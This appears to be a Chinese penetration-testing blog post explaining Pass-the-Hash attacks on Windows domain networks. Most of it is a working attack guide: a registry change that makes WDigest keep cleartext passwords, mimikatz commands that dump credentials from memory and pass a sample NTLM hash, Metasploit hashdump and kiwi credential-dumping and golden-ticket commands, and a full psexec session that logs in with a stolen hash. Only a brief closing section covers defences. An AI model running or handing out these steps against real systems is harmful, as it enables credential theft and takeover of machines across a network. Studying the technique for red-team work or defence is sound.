zoukankan      html  css  js  c++  java
  • 哈希传递攻击利用(Pass The Hash)

    最近又复习了一下内网的相关知识,把以前的整理了一下发出来做个记录。

    0x01 哈希传递攻击概念

    有一点内网渗透经验的都应该听说过哈希传递攻击,通过找到相应账户相关的密码散列值(LM Hash,NTLM Hash)来进行未授权登陆。
    可参考Wikipedia的介绍,地址如下:https://en.wikipedia.org/wiki/Pass_the_hash
    在域环境中,用户登录计算机时使用的大都是域账号,大量计算机在安装时会使用相同的本地管理员账号和密码,因此,如果计算机的本地管理员账号和密码也是相同的,攻击者就能使用哈希传递攻击的方法登陆内网中的其他计算机。
    在Windows系统中,通常会使用NTLM身份认证,NTLM认证不使用明文口令,而是使用口令加密后的hash值,hash值由系统API生成(例如LsaLogonUser)
    从Windows Vista和Windows Server 2008开始,微软默认禁用LM hash.在Windows Server 2012 R2及之后版本的操作系统中,默认不会在内存中保存明文密码,Mimikatz 就读不到密码明文。此时可以通过修改注册表的方式抓取明文,但需要用户重新登录后才能成功抓取。修改注册表命令为:

    reg add HKLMSYSTEMCurrentControlSetControlSecurityProvidersWDigest /v UseLogonCredential /t REG_DWORD /d 1 /f
    

    因此,攻击者如果使用工具将散列值传递到其他计算机中,进行权限验证,就能够在身份验证的时候模拟该用户(即跳过调用API生成hash的过程),实现对计算机的控制。

    NTLM Hash与NTLM

    hash分为LM hash和NT hash,如果密码长度大于15,那么无法生成LM hash。
    在Windows中,密码Hash目前称之为NTLM Hash,其中NTLM全称是:“NT LAN Manager”。这个NTLM是一种网络认证协议,与NTLM Hash的关系就是:NTLM网络认证协议是以NTLM Hash作为根本凭证进行认证的协议。也就是说,NTLM与NTLM Hash相互对应。在本地认证的过程中,其实就是将用户输入的密码转换为NTLM Hash与SAM中的NTLM Hash进行比较。
    注:
    mimikatz支持导出内存中用户的LM hash,但前提是Windows系统支持LM hash
    Windows Server 2008启用LM hash的方法:
    gpedit.msc->计算机配置->Windows 设置->安全设置->本地策略->安全选项
    找到网络安全︰ 不要在下次更改密码存储 LAN 管理器的哈希值,选择已禁用
    系统下一次更改密码后,就能够导出LM hash(已经被弃用了)

    0x02 利用方法

    1.首先就是神器mimikatz,但你首先得拥有本地管理员的执行的权限。

    privilege::debug
    sekurlsa::logonpasswords
    


    复制NTLM Hash的值

    sekurlsa::pth /user:administrator /domain:XIAN.COM /ntlm:7365e3b22baeaebc0411873eedf84390
    

    完成之后会弹出cmd.exe,或者重新开一个命令行

    也可以尝试列出被哈希传递攻击的域内靶机的c盘内容

    利用msf进行哈希传递攻击

    msf内置的mimikatz获取hash(需要管理员权限)

    在msf中也内置有mimikatz,以下命令都可以在msf中获取hash

    hashdump
    run hashdump
    run post/windows/gather/smart_hashdump
    除了meterpreter自带的,还可以通过加载mimikatz获得:
    load mimikatz(必须,否则无以下命令)
    msv    获取的是hash值
    tspkg   tspkg凭证相关的模块
    wdigest   读取内存中存放的账号密码明文信息
    kerberos  kerberos相关的模块
    ssp   获取的是明文信息
    

    mimikatz的原生命令在这里有些改动
    mimikatz_command 模块可以让我们使用mimikatz的全部功能。

    meterpreter > mimikatz_command -f a::  输入一个错误的模块,可以列出所有模块
    meterpreter > mimikatz_command -f samdump::  可以列出samdump的子命令
    meterpreter > mimikatz_command -f samdump::hashes
    meterpreter > mimikatz_command -f handle::list  列出应用进程
    meterpreter > mimikatz_command -f service::list  列出服务
    

    例如

    mimikatz_command -f samdump::hashes   获取hash
    


    建议每种都试一下,可能因为windows版本的高低,有些情况一种命令获取不到,比如我的win2003就只能用hashdump命令才能看到密码hash,

    msf的kiwi模块(需要系统权限)

    kiwi就是msf内置的mimikatz模块的升级版
    但是kiwi是默认加载32位系统的,所以如果目标主机是64位系统的话,直接默认加载该模块会导致很多功能无法使用。所以如果目标系统是64位的,则必须先查看系统进程列表,然后用migrate命令将meterpreter进程迁移到一个64位程序的进程中,才能加载mimikatz并且查看系统明文。如果目标系统是32位的,则没有这个限制。
    使用前先在meterpreter下加载kiwi模块

    使用命令creds_kerberos列举所有kerberos凭据

    可以看到我之前用msf内置的mimikatz没有加载出来的密码,现在明文加载出来了。
    再来将用户hash密码加载出来kiwi_cmd:执行mimikatz的命令,后面接mimikatz.exe的命令

    可以看到成功列出用户密码hash
    kiwi模块命令集合

    creds_all: 列举所有凭据
    creds_kerberos:列举所有kerberos凭据
    creds_msv:列举所有msv凭据
    creds_ssp:列举所有ssp凭据
    creds_tspkg:列举所有tspkg凭据
    creds_wdigest:列举所有wdigest凭据
    dcsync: 通过DCSync检索用户帐户信息
    dcsync_ntlm: 通过DCSync检索用户帐户NTLM散列、SID和RID
    golden_ticket_create:创建黄金票据
    kerberos_ticket_list:列举kerberos票据
    kerberos_ticket_purge:清除kerberos票据
    kerberos_ticket_use:使用kerberos票据
    kiwi_cmd:执行mimikatz的命令,后面接mimikatz.exe的命令
    lsa_dump_sam:dump出lsa的SAM
    lsa_dump_secrets:dump出lsa的密文
    password_change:修改密码
    wifi_list: 列出当前用户的wifi配置文件
    wifi_list_shared: 列出共享wifi配置文件/编码
    

    msf psexec模块

    PsExec是sysinternals套件中的一款强大的软件,通过他可以提权和执行远程命令,对于批量大范围的远程运维能起到很好的效果,尤其是在域环境下。但现在,攻击者渐渐开始使用psexec,通过命令行环境与目标靶机进行连接,甚至控制目标机器,而不需要通过远程连接协议(RDP)进行图形化设置,降低了因为恶意操作被管理员发现的可能性(因为PsExec是Windows提供的工具,所以杀毒软件可能会将其列入白名单)
    msf中有3个psexec模块都可以进行Hash传递利用:

    # 执行单个命令的PTH模块
    auxiliary/admin/smb/psexec_command
    
    # 执行直接就获取到meterpreter的PTH模块
    exploit/windows/smb/psexec
    
    # 支持对一个网段进行PTH进行验证的模块
    exploit/windows/smb/psexec_psh
    

    再使用pesxec模块之前要保证:

    1. 开启445端口 SMB服务
    2. 开启admin$共享
      使用之前板块获取到的管理员NTLM Hash
      Administrator:500:aad3b435b51404eeaad3b435b51404ee:7365e3b22baeaebc0411873eedf84390这里前半部分的LM Hash不重要,只要保证后半部分的NTML Hash正确就行。
    msf5 exploit(multi/handler) > use exploit/windows/smb/psexec
    msf5 exploit(windows/smb/psexec) > set lhost 192.168.5.128
    lhost => 192.168.5.128
    msf5 exploit(windows/smb/psexec) > set rhost 192.168.5.11
    rhost => 192.168.5.11
    msf5 exploit(windows/smb/psexec) > set smbuser Administrator
    smbuser => Administrator
    msf5 exploit(windows/smb/psexec) > set smbpass a780a2793038e0d41e929ffc01395127:7365e3b22baeaebc0411873eedf84390 
    smbpass => a780a2793038e0d41e929ffc01395127:7365e3b22baeaebc0411873eedf84390
    msf5 exploit(windows/smb/psexec) > run
    



    这里还有很多不错的获取hash方法没写(主要是懒,用msf方便),比如PowerShell、WCE、AES-256密钥哈希传递、python第三方库impacket下的secretsdump等等,以后有空再记录吧.....

    0x03 防范措施

    KB2871997补丁的影响

    防范首先想到打补丁,微软也早在2014年5月发布了KB2871997补丁,该补丁禁止通过本地管理员权限与远程计算机进行连接,其后果就是:无法通过本地管理员权限对远程计算机使用Psexec、WMI、smbecec等,也无法访问远程的文件共享等。
    但实际上就算打了KB2871997补丁后,Administrator账号(SID为500)也是例外的,使用该账户的NTLM Hash依然可以进行哈希传递

    防御 mimikatz 攻击

    mimikatz在抓取散列值或明文密码时,需要用到Debug权限(因为mimikatz需要和lsass进程进行交互,如果没有Debug权限,mimikatz将不能读取lsass进程里的密码)。而Debug权限归本地管理员Administrator所有,目的是确定哪些用户可以将调试器附加到任何进程或内核中,但一般Administrator不会用到这个权限(除非是系统进程)。

    所以在配置用户权限时,可以将拥有Debug权限的本地管理员从Administrator组中移除。重启系统之后,在运行mimikatz,在第一步"privilege::debug"时就会报错了。

    0x04 参考文献

    http://saucer-man.com/information_security/443.html#cl-11
    https://saucer-man.com/information_security/79.html#cl-13
    https://www.freebuf.com/articles/system/217681.html
    https://blog.csdn.net/qq_36119192/article/details/104802921
    https://www.cnblogs.com/Mikasa-Ackerman/p/hou-shen-tou-zhong-de-mi-ma-zhua-qu.html

  • 相关阅读:
    Spring boot3之整合HTML
    Spring boot4之数据校验
    Spring boot5之整合mybatis
    Spring boot6之整合Spring Data JPA
    Spring boot7之整合Spring Data Redis
    Spring boot8之整合Spring Security
    sqlmap从入门到精通-第七章-7-11 绕过WAF脚本-informationschemacomment.py&least.py
    系统提权-各种反弹shell使用
    Vulnhub-靶机-SpyderSec: Challenge
    sqlmap从入门到精通-第七章-7-10 绕过WAF脚本-ifnull2casewhenisnull.py&ifnull2ifisnull.py
  • 原文地址:https://www.cnblogs.com/Xy--1/p/13216686.html
Copyright © 2011-2022 走看看